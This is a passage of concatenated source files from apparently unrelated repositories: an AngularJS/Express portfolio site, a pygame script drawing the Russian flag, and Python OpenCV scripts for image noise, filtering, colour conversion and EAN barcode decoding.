$scope.yearAndProduct = "Total Complaints Aggregated Per/Year 2011 - 2015(partial) per/year and product";
// svg.append("rect") // **********
// .attr("width", width) // **********
// .attr("height", height) // **********
// .style("fill", "none") // **********
// .style("pointer-events", "all") // **********
// .on("mouseover", function() { focus.style("display", null); })
// .on("mouseout", function() { focus.style("display", "none"); })
// .on("mousemove", mousemove);
// //mouse move
// function mousemove() {
// var x0 = x.invert(d3.mouse(this)[0]);
// var i = bisectDate(data, x0, 1); // gives index of element which has date higher than x0
// var d0 = data[i - 1], d1 = data[i];
// var d = x0 - d0.date > d1.date - x0 ? d1 : d0;
// // console.log(d);
// var products = d.products.map(function(a){return a.total});
// console.log(products);
// var close = d3.max(products);
// console.log(close);
// focus.select("circle.y")
// .attr("transform", "translate(" + x(d.date) + "," + y(close) + ")");
// focus.select("line.y")
// .attr("y2",height - y(close))
// .attr("transform", "translate(" + x(d.date) + ","
// + y(close) + ")");
// focus.select("line.x")
// .attr("x2",x(d.date))
// .attr("transform", "translate(0,"
// + (y(close)) + ")");
// };
}
}])<file_sep>/public/app/app.js
var app = angular.module('portfolio', ['ngRoute', 'ngAnimate']);
//config
app.config(function($routeProvider, $locationProvider){
//routes
$routeProvider.when('/About',{
templateUrl:'/views/about.html',
controller: 'aboutController'
}).
when('/work',{
templateUrl:'/views/work.html',
controller: 'workController'
}).
when('/blog', {
templateUrl:'/views/blog.html',
controller: 'blogController'
}).
when('/projects/governmentStats',{
templateUrl:'views/governmentstats.html',
controller: 'statsController'
}).
otherwise({
templateUrl:'views/home.html',
controller:'homeController'
})
})
<file_sep>/public/app/controllers/homeController.js
//home controller
app.controller('homeController', ['$scope', '$http', '$interval', '$timeout', function($scope, $http, $interval, $timeout){
console.log('controller running');
$scope.heading = "Hello my name is Leonardo and I'm a Full-Stack Developer";
$scope.img = "optimized/background6.jpg";
$scope.showText = false;
//get icons
$http.get('../api/icons').then(setIcons);
// animation for text
$timeout(function() {
$scope.showText = true;
$scope.ready=true;
}, 1000);
//set icons
function setIcons(res){
$scope.icons = res.data.data;
}
}])<file_sep>/public/app/workController.js
app.controller('workController', ['$scope', '$http', function($scope,$http){
console.log('work controller')
}])<file_sep>/index.js
var express = require('express'),
bodyParser = require('body-parser'),
mongoose = require('mongoose'),
fs = require('fs'),
imageMagick = require('imagemagick-native');
var app = express();
//config app
app.use(bodyParser.json());
//static routes
app.use('/', express.static('./public'));
app.use('/bower_components', express.static('./bower_components'));
//simple api to return image links
app.get('/api/backgrounds', function(req,res){
fs.readdir('./public/optimized', function(err, data){
data = data.map(function(file){return{url:'optimized/' + file}});
res.json({data:data});
})
});
app.get('/api/icons', function(req,res){
fs.readdir('./public/icons', function(err, data){
data = data.map(function(file){return {url:'icons/' + file, description:file.replace('.svg', '')}});
// console.log(data);
res.json({data:data});
})
})
//test imagemagic
//listen
app.listen(8080);
| 1ad268b23733f5bac304b9951a50fee9adba2967 | [
"JavaScript"
] | 5 | JavaScript | lleo5301/PortfolioWork | 5e8920b14eeca4041dc276e1df9f62022cdb46e9 | b4b3c69a387ed09035762ed5ad3e5d47ed3279b4 |
refs/heads/master | <repo_name>VladTrushkov/flug_RF<file_sep>/flag.py
import pygame
pygame.init()
size = width, height = 500, 500
screen = pygame.display.set_mode(size)
def draw_background():
rect_color = pygame.Color('white')
rect_width = 0
rect_point = [(0, 0), (500, 500)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
def create_outline():
rect_color = pygame.Color('black')
rect_width = 1
rect_point = [(110, 50), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
rect_point = [(110, 150), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
rect_point = [(110, 150), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
rect_point = [(110, 250), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
rect_point = [(100, 50), (11, 400)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
def draw_white_part_flag():
rect_color = pygame.Color('black')
rect_width = 1
rect_point = [(110, 50), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
def draw_blue_part_flag():
rect_color = pygame.Color('blue')
rect_width = 0
rect_point = [(110, 150), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
def draw_red_part_flag():
rect_color = pygame.Color('red')
rect_width = 0
rect_point = [(110, 250), (300, 100)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
def draw_flagshtok():
rect_color = pygame.Color('grey')
rect_width = 0
rect_point = [(100, 50), (10, 400)]
pygame.draw.rect(screen, rect_color, rect_point, rect_width)
draw_background()
draw_white_part_flag()
draw_blue_part_flag()
draw_red_part_flag()
draw_flagshtok()
create_outline()
while pygame.event.wait().type != pygame.QUIT:
pygame.display.flip()
pygame.quit()
| 237ddb5511dd13d2049eaef0d72de76184a7756a | [
"Python"
] | 1 | Python | VladTrushkov/flug_RF | c274e62dabdcbe71a1a3c1d940c4a94d46ce8f42 | 07ec8aa55259115d334f694a1dbb13c5e1f0c669 |
refs/heads/master | <repo_name>rishabh1005/Room_Booking<file_sep>/README.md
#Week of Learning
Click On the home.html page to view
<file_sep>/Java/SignIn.js
function validate()
{
var str1=document.MyForm.email.value;
var re = new RegExp('^[a-zA-Z0-9_.]+@[a-z]+.[a-z]{3}$','g');
var str2=document.MyForm.Pass.value;
var x =new RegExp('^[0-9a-zA-Z@#$&_]{8,12}$','g');
if(!(str1.match(re)))
{
if (!(str2.match(x))) {
alert('Incorrect Email and Password');
}
else{
alert('Enter Registered Email');
}
}
else if (!(str2.match(x))) {
alert('Incorrect Password');
}
else{
alert('Valid Deatails');
window.open("home.html");
}
} | 563a8e4660773b8a1b60900120e110742cc43ec0 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | rishabh1005/Room_Booking | 51b5b1226a61579273294cba187bf1536081a52e | 04889aa2b1bb49994d008a9dc4d7832914111a5d |
refs/heads/master | <repo_name>ShikalovNikita/empty<file_sep>/src/js/app.js
// import {TweenLite} from 'gsap';
// let photo = document.getElementsByTagName('img');
// TweenLite.to(photo,2, {width:"300px", height:"150px"});<file_sep>/README.md
# Init_Workplace v4.2
Шаблон помогает быстро начать вёрстку проекта.
Перед началом работы нужно установить зависимости:
```bash
npm install
```
## Templates
Шаблоны собираются из папки `templates` с помощью [Nunjucks]. Составные части лежат в `partials`. Основной шаблон лежит в `layouts/_layout.html`.
## CSS
Верстаются в `src/sass/_main.sass` и `src/sass/_common.sass`, компилируются в `build/css/app.css`. Миксины и сбросы стилей указаны в файлах `src/sass/helpers/_mixins.sass` и `src/sass/helpers/_reset.sass`
## JS
Установлен Babel, [GreenSock](https://greensock.com) (для анимаций)
## Flags
* `gulp --tunnel=[name]` or `gulp server --tunnel [name]` - Запускает Develop-сервер и позволяет легко получить доступ через прокси на удаленной машине (Powered by [Localtunnel.me](https://localtunnel.me/)). Сервис будет доступен по адресу `[name].localtunnel.me`.
## Authors
[<NAME>](https://github.com/ShikalovNikita). | a0641c1fb9bb7295f65b806e35453af01173b4bd | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | ShikalovNikita/empty | 460ce4f1e87fd035db0c587bf7f1832d61fb135d | 7091056b91e3da11bbee685fab2d4d1f11182a36 |
refs/heads/master | <file_sep># -*- coding: utf-8 -*-
"""
Created on Wed Feb 1 19:56:30 2017
@author: JM
"""
import cv2
import numpy as np
from matplotlib import pyplot as plt
def meanSquareError(imagenOriginal,imagenRestaurada):
M, N = imagenOriginal.shape[:2]
error = np.float32(0.0)
for x in range(M):
for y in range(N):
error += ((imagenRestaurada[x][y]-imagenOriginal[x][y])**2)
error = np.sqrt((1/(M*N))*error)
return error
def noisy(image):
#gaussian
aux = image.copy()
aux = cv2.randn(aux,aux.mean(),aux.std())
gaussian = cv2.add(image, aux)
#salt and pepper
s_vs_p = 0.5
amount = 0.004
out = np.copy(image)
# Salt mode
num_salt = np.ceil(amount * image.size * s_vs_p)
coords = [np.random.randint(0, i - 1, int(num_salt))
for i in image.shape]
out[coords] = 1
# Pepper mode
num_pepper = np.ceil(amount* image.size * (1. - s_vs_p))
coords = [np.random.randint(0, i - 1, int(num_pepper))
for i in image.shape]
out[coords] = 0
return gaussian,out
def histogramError(image,histogram,histogramEqualized):
M, N = image.shape[:2]
for x in range(256):
error = np.abs(histogram[x] - histogramEqualized[x])
return error/((M*N)*2)
img = cv2.imread('../images/clahe.png',0)
img = cv2.resize(img,(600,500), interpolation = cv2.INTER_CUBIC)
gaussian,salt = noisy(img)
gaussianblur1 = cv2.GaussianBlur(img,(3,3),0)
gaussianblur2 = cv2.GaussianBlur(img,(5,5),0)
gaussianblur3 = cv2.GaussianBlur(img,(7,7),0)
median1 = cv2.medianBlur(salt,3)
median2 = cv2.medianBlur(salt,5)
median3 = cv2.medianBlur(salt,7)
"""
cv2.imshow("Original",img)
cv2.imshow("salt and pepper",salt)
cv2.waitKey(0)
cv2.imshow("salt and pepper",median1)
cv2.waitKey(0)
cv2.imshow("salt and pepper",median2)
cv2.waitKey(0)
cv2.imshow("salt and pepper",median3)
cv2.waitKey(0)
equ = cv2.equalizeHist(median1)
cv2.imshow("salt and pepper",equ)
cv2.waitKey(0)
cv2.imshow("gaussian",gaussian)
cv2.waitKey(0)
cv2.imshow("gaussian",gaussianblur1)
cv2.waitKey(0)
cv2.imshow("gaussian",gaussianblur2)
cv2.waitKey(0)
cv2.imshow("gaussian",gaussianblur3)
cv2.waitKey(0)
cv2.destroyAllWindows()
print('Error s&p 1:',meanSquareError(img,median1))
print('Error s&p 2:',meanSquareError(img,median2))
print('Error s&p 3:',meanSquareError(img,median3))
print('Error s&p 4:',meanSquareError(img,equ))
print('Error gaussian 1:',meanSquareError(img,gaussianblur1))
print('Error gaussian 2:',meanSquareError(img,gaussianblur2))
print('Error gaussian 3:',meanSquareError(img,gaussianblur3))
"""
hist1,bins = np.histogram(img.flatten(),256,[0,256])
cdf = hist1.cumsum()
cdf_normalized = cdf * hist1.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(img.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image')
plt.show()
equ = cv2.equalizeHist(img)
hist,bins = np.histogram(equ.flatten(),256,[0,256])
cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(equ.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image with equalization')
plt.show()
print(histogramError(img,hist1,hist))<file_sep># -*- coding: utf-8 -*-
"""
Created on Fri Feb 24 12:59:12 2017
@author: JM
"""
import cv2
import math
class barcode:
def __init__(self,image):
#Imagen con el barcode recortado
self.img = self.__barcodeProcessing(image)
#Definimos tres cursores como una lista con los ejes [X,Y]
self.cursorS = [0,int(len(self.img) / 4)]
self.cursorM = [0,int(len(self.img) / 2)]
self.cursorI = [0,int(3*len(self.img) / 4)]
#Se definen las tres regiones que se encuentran dentro del codigo de barras
"""
L y G son diccionarios que se utilizan para el codigo de barras de la parte izquierda,
en función de como se encuentren distribuidos estos en el codigo, el digito de seguridad
viene definido a traves del tipo de codificacion.
"""
self.Lcode = {"0001101":0,"0011001":1,"0010011":2,"0111101":3,"0100011":4,
"0110001":5,"0101111":6,"0111011":7,"0110111":8,"0001011":9}
self.Gcode = {"0100111":0,"0110011":1,"0011011":2,"0100001":3,"0011101":4,
"0111001":5,"0000101":6,"0010001":7,"0001001":8,"0010111":9}
self.Rcode = {"1110010":0,"1100110":1,"1101100":2,"1000010":3,"1011100":4,
"1001110":5,"1010000":6,"1000100":7,"1001000":8,"1110100":9}
self.typeEncoding = {"LLLLLL":0,"LLGLGG":1,"LLGGLG":2,"LLGGGL":3,"LGLLGG":4,
"LGGLLG":5,"LGGGLL":6,"LGLGLG":7,"LGLGGL":8,"LGGLGL":9}
#Definimos los espacios en negro y las barras de blanco
self.SPACE = 0
self.BAR = 255
#Metodo para el procesamiento del barcode para su posterior lectura de barras
def __barcodeProcessing(self,image):
#gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
blur = cv2.GaussianBlur(image,(3,3),7)
(_, thresh) = cv2.threshold(blur,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)
img = cv2.bitwise_not(thresh)
return img
#Metodo para mostrar el barcode por pantalla
def show(self):
self.img[int(self.cursorS[1])]= 255
self.img[self.cursorM[1]] = 255
self.img[self.cursorI[1]] = 255
cv2.imshow("imagen", self.img)
cv2.waitKey(0)
cv2.destroyAllWindows()
"""
Alinea el cursor para que se situe en el primer bit de la zona izquierda o de la derecha,
esto viene definido de la siguiente forma:
zona izquierda => Empieza siempre con bit en blanco y acaba en bit negro
zona derecha => Empieza siempre con bit en negro y acaba en bit blanco
"""
def __align_boundary(self,cursor, begin, end):
if (self.img[cursor[1]][cursor[0]] == end):
while (self.img[cursor[1]][cursor[0]] == end):
cursor[0] += 1
else:
while (self.img[cursor[1]][cursor[0]-1] == begin):
cursor[0] -= 1
"""
Calcula la distancia euclidea del patron con los patrones del diccionario y se queda el menor
Devuelve el digito equivalente a la menor distancia, la codificacion y la distancia
"""
def __euclideanDistance(self, pattern ,position):
digit = 0
encoding = ""
dist = 100
if position == "LEFT":
L = list(self.Lcode.keys())
G = list(self.Gcode.keys())
#Recorremos cada patron en los diccionarios
for i in range(len(L)):
distL = 0
distG = 0
#Accedemos a cada caracter del patron
for j in range(len(pattern)):
distL += (int(L[i][j]) - int(pattern[j]))**2
distG += (int(G[i][j]) - int(pattern[j]))**2
distL = math.sqrt(distL)
distG = math.sqrt(distG)
if (distL < distG) and (distL <= dist):
dist = distL
digit = self.Lcode.get(L[i])
encoding = "L"
elif (distG < distL) and (distG <= dist):
dist = distG
digit = self.Gcode.get(G[i])
encoding = "G"
else:
R = list(self.Rcode.keys())
#Recorremos cada patron en los diccionarios
for i in range(len(R)):
distR = 0
#Accedemos a cada caracter del patron
for j in range(len(pattern)):
distR += (int(R[i][j]) - int(pattern[j]))**2
distR = math.sqrt(distR)
if (distR <= dist):
dist = distR
digit = self.Rcode.get(R[i])
return digit, encoding, dist
"""
Metodo que lee los 7 bits de cada digito
Devuelve el digito asociado y el tipo de codificacion que tiene
"""
def __read_digit(self, cursor, unit_width, position):
pattern = [0, 0, 0, 0, 0, 0, 0] #Define los 7 bits del digito
#Calcula el patron comprobando que se encuentra dentro de la anchura minima de las barras
for i in range(len(pattern)):
for j in range(unit_width):
if (self.img[cursor[1]][cursor[0]] == self.BAR):
pattern[i] += 1
cursor[0] += 1
#Permite que si estamos dentro de una barra y uno de esos pixeles tiene un valor diferente al resto
#coloca el cursor un pixel atras ya que ese seria otra barra diferente.
if (pattern[i] == 1 and self.img[cursor[1]][cursor[0]] == self.BAR
or pattern[i] == unit_width-1 and self.img[cursor[1]][cursor[0]] == self.SPACE):
cursor[0] -= 1
#Fija un umbral a partir del que consideramos que la lectura de pixeles hecha se corresponde con una barra negra
threshold = unit_width / 2
v = ""
for i in range(len(pattern)):
if pattern[i] >= threshold:
v += str(1)
else:
v += str(0)
print("Patron", v)
encoding=""
# En funcion de la zona en la que se encuentra, traduce los bits.
if (position == "LEFT"):
digit,encoding, dist = self.__euclideanDistance(v, position)
self.__align_boundary(cursor, self.SPACE, self.BAR)
else:
digit,encoding, dist = self.__euclideanDistance(v, position)
self.__align_boundary(cursor, self.BAR, self.SPACE)
"""
if (position == "LEFT"):
digit = self.Lcode.get(v)
encoding = "L"
if digit is None:
digit = self.Gcode.get(v)
encoding = "G"
self.__align_boundary(cursor, self.SPACE, self.BAR)
else:
digit = self.Rcode.get(v)
self.__align_boundary(cursor, self.BAR, self.SPACE)
"""
#print("El codigo vale", v, "Digito", digit, "Pattern", pattern)
return digit,encoding, dist
#Coloca el cursor en la primera zona de control
def __skip_quiet_zone(self,cursor):
while (self.img[cursor[1]][cursor[0]] == self.SPACE):
cursor[0]+=1
#Coloca el cursor tras la zona de control y calcula el tamaño minimo de las barras
def __read_lguard(self, cursor):
widths = [ 0, 0, 0 ]
pattern = [ self.BAR, self.SPACE, self.BAR ]
for i in range(len(widths)):
while (self.img[cursor[1]][cursor[0]] == pattern[i]):
cursor[0]+=1
widths[i]+=1
return widths[0]
#Salta los valores centrales
def __skip_mguard(self, cursor):
pattern = [ self.SPACE, self.BAR, self.SPACE, self.BAR, self.SPACE ]
for i in range(len(pattern)):
while (self.img[cursor[1]][cursor[0]] == pattern[i]):
cursor[0]+=1
def read_barcode(self):
stopS,stopM,stopI = False,False,False
#Nos saltamos la primera zona de seguridad
try:
self.__skip_quiet_zone(self.cursorS)
except IndexError:
stopS = True
try:
self.__skip_quiet_zone(self.cursorM)
except IndexError:
stopM = True
try:
self.__skip_quiet_zone(self.cursorI)
except IndexError:
stopI = True
#Calibramos el valor para que se coloque en la primera barra del codigo izquierdo y obtenemos la anchura de las barras
unit_widthS = 0
unit_widthM = 0
unit_widthI = 0
if stopS == False:
try:
unit_widthS = self.__read_lguard(self.cursorS)
except IndexError:
stopS = True
if stopM == False:
try:
unit_widthM = self.__read_lguard(self.cursorM)
except IndexError:
stopM = True
if stopI == False:
try:
unit_widthI = self.__read_lguard(self.cursorI)
except IndexError:
stopI = True
#Se calculan los digitos y la codificacion de la parte izquierda
digits = ""
encoding = ""
for i in range(6):
d1,d2,d3 = 0,0,0
e1,e2,e3 = "","",""
dist1,dist2,dist3 = 100,100,100
if stopS == False:
try:
d1,e1,dist1 = self.__read_digit(self.cursorS, unit_widthS, "LEFT")
print("d1",d1,"dist1", dist1)
except IndexError:
stopS = True
if stopM == False:
try:
d2,e2,dist2 = self.__read_digit(self.cursorM, unit_widthM, "LEFT")
print("d2",d2,"dist2", dist2)
except IndexError:
stopM = True
if stopI == False:
try:
d3,e3,dist3 = self.__read_digit(self.cursorI, unit_widthI, "LEFT")
print("d3",d3,"dist3", dist3)
except IndexError:
stopI = True
#Nos quedamos con el numero de menor distancia euclidea de los tres punteros
if(dist1 < 100 or dist2 < 100 or dist3 < 100):
print("Entra")
if dist1 <= dist2 and dist1 <= dist3:
d = d1
e = e1
elif dist2 <= dist1 and dist2 <= dist3:
d = d2
e = e2
elif dist3 <= dist1 and dist3 <= dist2:
d = d3
e = e3
else:
d = ""
e = ""
digits += str(d)
encoding += e
if stopS == False:
try:
self.__skip_mguard(self.cursorS)
except IndexError:
stopS = True
if stopM == False:
try:
self.__skip_mguard(self.cursorM)
except IndexError:
stopM = True
if stopI == False:
try:
self.__skip_mguard(self.cursorI)
except IndexError:
stopI = True
#Almacenamos los digitos asociados al valor del codigo derecho
for i in range(6):
d1,d2,d3 = 0,0,0
dist1,dist2,dist3 = 100,100,100
if stopS == False:
try:
d1,_,dist1 = self.__read_digit(self.cursorS, unit_widthS, "RIGHT")
print("d1",d1,"dist1", dist1)
except IndexError:
stopS = True
print("Peta d1")
if stopM == False:
try:
d2,_,dist2 = self.__read_digit(self.cursorM, unit_widthM, "RIGHT")
print("d2",d2,"dist2", dist2)
except IndexError:
stopM = True
if stopI == False:
try:
d3,_,dist3 = self.__read_digit(self.cursorI, unit_widthI, "RIGHT")
print("d3",d3,"dist3", dist3)
except IndexError:
stopI = True
#Nos quedamos con el numero de menor distancia euclidea de los tres punteros
if(dist1 < 100 or dist2 < 100 or dist3 < 100):
print("Entra")
if dist1 <= dist2 and dist1 <= dist3:
d = d1
e = e1
elif dist2 <= dist1 and dist2 <= dist3:
d = d2
e = e2
elif dist3 <= dist1 and dist3 <= dist2:
d = d3
e = e3
else:
d = ""
e = ""
#print("Valor final d:", d)
digits += str(d)
firstDigit = self.typeEncoding.get(encoding)
print("Valor barcode:",str(firstDigit)+digits)
return str(firstDigit)+digits
"""
imagen = 'barcode2.jpg'
#imagen = 'barcode.png'
image = cv2.imread('../images/' + imagen)
barcode = barcode(image)
barcode.read_barcode()
barcode.show()
"""<file_sep># -*- coding: utf-8 -*-
"""
Created on Wed Jan 25 17:35:41 2017
@author: JM
"""
import cv2
import numpy as np
from matplotlib import pyplot as plt
def pintaImagen(imagen,textoGeneral,textoImagen):
cv2.putText(imagen, textoImagen, (10,30), cv2.FONT_HERSHEY_SIMPLEX, 0.6,(255,255,255),2,cv2.LINE_AA)
cv2.imshow(textoGeneral, imagen)
cv2.waitKey(0)
def adjust_gamma(image, gamma):
# build a lookup table mapping the pixel values [0, 255] to
# their adjusted gamma values
invGamma = 1.0 / gamma
table = np.array([((i / 255.0) ** invGamma) * 255
for i in np.arange(0, 256)]).astype("uint8")
# apply gamma correction using the lookup table
return cv2.LUT(image, table)
kernel = np.ones((5,5),np.float32)/25
print("¿Qué imagen quiere utilizar: Poca_iluminacion[1], Ejemplo_contraste[2], Ruido_pepper[3], Ruido_gaussiano[4]?")
tipo_img = int(input())
if tipo_img == 1:
img = cv2.imread('../images/poc_ilum.jpg')
print("Elegido poca iluminacion")
elif tipo_img == 2:
img = cv2.imread('../images/clahe.png')
print("Elegido contrast example")
elif tipo_img == 3:
img = cv2.imread('../images/Noise_salt_and_pepper.png')
print("Elegido pepper noise")
elif tipo_img == 4:
img = cv2.imread('../images/gaussian_noise.jpg')
print("Elegido gaussian noise")
print("¿Qué operaciones quiere realizar: Conversion between different colour models[1], an intensity transformation[2], a contrast enhancement operation[3], or smoothing filter[4]?")
tipo_proc = int(input())
cv2.imshow('Imagen original', img)
if tipo_proc == 1:
gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
cie_image = cv2.cvtColor(img, cv2.COLOR_BGR2XYZ)
hsv_image = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
hls_image = cv2.cvtColor(img, cv2.COLOR_BGR2HLS)
pintaImagen(gray_image,'Conversion a distintos modelos de color',"Escala de gris")
pintaImagen(cie_image,'Conversion a distintos modelos de color',"Modelo CIE")
pintaImagen(hsv_image,'Conversion a distintos modelos de color',"Modelo HSV")
pintaImagen(hls_image,'Conversion a distintos modelos de color',"Modelo HLS")
elif tipo_proc == 2:
negative_image = 255 - img
power_law = adjust_gamma(img, 1.5)
gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
ret,thresh3 = cv2.threshold(gray_image,150,255,cv2.THRESH_BINARY_INV)
thresh1 = cv2.adaptiveThreshold(gray_image,255,cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY_INV,11,4)
thresh2 = cv2.adaptiveThreshold(gray_image,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV,15,3)
M = np.ones(img.shape, dtype= "uint8") * 100
added = cv2.add(img,M)
pintaImagen(added,'Intensity transformation','Operacion suma')
pintaImagen(cv2.bitwise_and(gray_image,gray_image,mask = thresh3),'Intensity transformation','Threshold binario inverso')
pintaImagen(thresh1,'Intensity transformation','Threshold adaptativo')
pintaImagen(thresh2,'Intensity transformation','Threshold adaptativo gaussiano')
pintaImagen(negative_image,'Intensity transformation','Negativa')
pintaImagen(power_law,'Intensity transformation','Power law transformation')
elif tipo_proc == 3:
gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
hist,bins = np.histogram(gray_image.flatten(),256,[0,256])
cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(gray_image.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image')
plt.show()
equ = cv2.equalizeHist(gray_image)
hist,bins = np.histogram(equ.flatten(),256,[0,256])
cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(equ.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image with equalization')
plt.show()
# create a CLAHE object (Arguments are optional).
clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))
cl1 = clahe.apply(gray_image)
hist,bins = np.histogram(cl1.flatten(),256,[0,256])
cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()
plt.plot(cdf_normalized, color = 'b')
plt.hist(cl1.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.title('Original gray image with CLAHE')
plt.show()
pintaImagen(equ,'Contrast enhancement operation','Equalization')
pintaImagen(cl1,'Contrast enhancement operation','CLAHE')
elif tipo_proc == 4:
dst = cv2.filter2D(img,-1,kernel)
blur = cv2.blur(img,(5,5))
gaussianblur = cv2.GaussianBlur(img,(5,5),0)
median = cv2.medianBlur(img,5)
bilateralFilter = cv2.bilateralFilter(img,9,75,75)
pintaImagen(dst,'Smoothing filter','Convolution 2D')
pintaImagen(blur,'Smoothing filter','Blur')
pintaImagen(gaussianblur,'Smoothing filter','Gaussian blur')
pintaImagen(median,'Smoothing filter','Salt-and-pepper noise filter')
pintaImagen(bilateralFilter,'Smoothing filter','Filter keeping edges sharp')
cv2.destroyAllWindows()<file_sep># -*- coding: utf-8 -*-
"""
Created on Fri Feb 3 12:25:14 2017
@author: JM
"""
import cv2
import numpy as np
from matplotlib import pyplot as plt
# ---------- ERROR measure --------------------
def meanSquareError(imagenOriginal,imagenRestaurada):
M, N = imagenOriginal.shape[:2]
error = np.float32(0.0)
for x in range(M):
for y in range(N):
error += ((imagenRestaurada[x][y]-imagenOriginal[x][y])**2)
error = np.sqrt((1/(M*N))*error)
return error
def histogramError(image,histogram,histogramEqualized):
M, N = image.shape[:2]
for x in range(256):
error = np.abs(histogram[x] - histogramEqualized[x])
return error/((M*N)*2)
# --- Generating a Gaussian and Salt and Pepper noises --------
def noisy(image):
#gaussian
aux = image.copy()
aux = cv2.randn(aux,aux.mean(),aux.std())
gaussian = cv2.add(image, aux)
#salt and pepper
s_vs_p = 0.5
amount = 0.004
out = np.copy(image)
# Salt mode
num_salt = np.ceil(amount * image.size * s_vs_p)
coords = [np.random.randint(0, i - 1, int(num_salt))
for i in image.shape]
out[coords] = 1
# Pepper mode
num_pepper = np.ceil(amount* image.size * (1. - s_vs_p))
coords = [np.random.randint(0, i - 1, int(num_pepper))
for i in image.shape]
out[coords] = 0
return gaussian,out
#------ Power-law transformation ----------------
def adjust_gamma(image, gamma):
# build a lookup table mapping the pixel values [0, 255] to
# their adjusted gamma values
invGamma = 1.0 / gamma
table = np.array([((i / 255.0) ** invGamma) * 255
for i in np.arange(0, 256)]).astype("uint8")
# apply gamma correction using the lookup table
return cv2.LUT(image, table)
# ------ Main code -----------
command = "empty"
while command!="exit":
command = input("What do you want to do?")
if command == "loadimage":
command = input("What image do you want to load?")
img = cv2.imread('../images/' + command)
if img is None:
print('Image not found')
elif img.data:
print('Image loaded correctly')
cv2.imshow('Original image', img)
elif img is not None:
if command == "noise":
command = input("Choose the noise type:")
gaussian,salt = noisy(img)
if command == "gauss":
img = gaussian
elif command == "s&p":
img = salt
cv2.imshow('Original image with noise', img)
#---- Colour model conversion -----------
elif command == "colour":
command = input("Choose the colour model:")
#------- Grayscale -------
if command == "gray":
gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
print('Error RGB to Gray-Scale:',meanSquareError(img,gray_image))
command = input("Back to RGB?:")
if command == "no":
img = gray_image
else:
rgb_image = cv2.cvtColor(gray_image, cv2.COLOR_GRAY2BGR)
print('Error Gray to RGB:',meanSquareError(img,rgb_image))
cv2.imshow('RGB image', rgb_image)
cv2.imshow('Gray image', gray_image)
#------- CIE XYZ ---------
elif command == "cie":
cie_image = cv2.cvtColor(img, cv2.COLOR_BGR2XYZ)
print('Error RGB to CIE:',meanSquareError(img,cie_image))
command = input("Back to RGB?:")
if command == "no":
img = cie_image
else:
rgb_image = cv2.cvtColor(cie_image, cv2.COLOR_XYZ2BGR)
print('Error CIE to RGB:',meanSquareError(img,rgb_image))
cv2.imshow('RGB image', rgb_image)
cv2.imshow('CIE image', cie_image)
#---------- HSV --------------
elif command == "hsv":
hsv_image = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
print('Error RGB to HSV:',meanSquareError(img,hsv_image))
command = input("Back to RGB?:")
if command == "no":
img = hsv_image
else:
rgb_image = cv2.cvtColor(hsv_image, cv2.COLOR_HSV2BGR)
print('Error HSV to RGB:',meanSquareError(img,rgb_image))
cv2.imshow('RGB image', rgb_image)
cv2.imshow('HSV image', hsv_image)
#---------- HLS ---------------
elif command == "hls":
hls_image = cv2.cvtColor(img, cv2.COLOR_BGR2HLS)
print('Error RGB to HLS:',meanSquareError(img,hls_image))
command = input("Back to RGB?:")
if command == "no":
img = hls_image
else:
rgb_image = cv2.cvtColor(hls_image, cv2.COLOR_HLS2BGR)
print('Error HLS to RGB:',meanSquareError(img,rgb_image))
cv2.imshow('RGB image', rgb_image)
cv2.imshow('HLS image', hls_image)
cv2.imshow('Original image', img)
#--------- Intensity transformation ---------
elif command == "intensity":
command = input("Choose the intensity operation:")
#------ Sum operation -----------------
if command == "sum":
M = np.ones(img.shape, dtype= "uint8") * 100
added = cv2.add(img,M)
print('Error Sum operation:',meanSquareError(img,added))
cv2.imshow('Sum image', added)
cv2.imshow('Original image', img)
command = input("Overwrite original image?")
if command == "yes":
img = added
#------ Negative operation -----------
elif command == "neg":
negative_image = 255 - img
print('Error Negative operation:',meanSquareError(img,negative_image))
cv2.imshow('Negative image', negative_image)
cv2.imshow('Original image', img)
command = input("Overwrite original image?")
if command == "yes":
img = negative_image
#------- Power-law transformation ------
elif command == "pow":
power_law = adjust_gamma(img, 1.5)
print('Error Power-law operation:',meanSquareError(img,power_law))
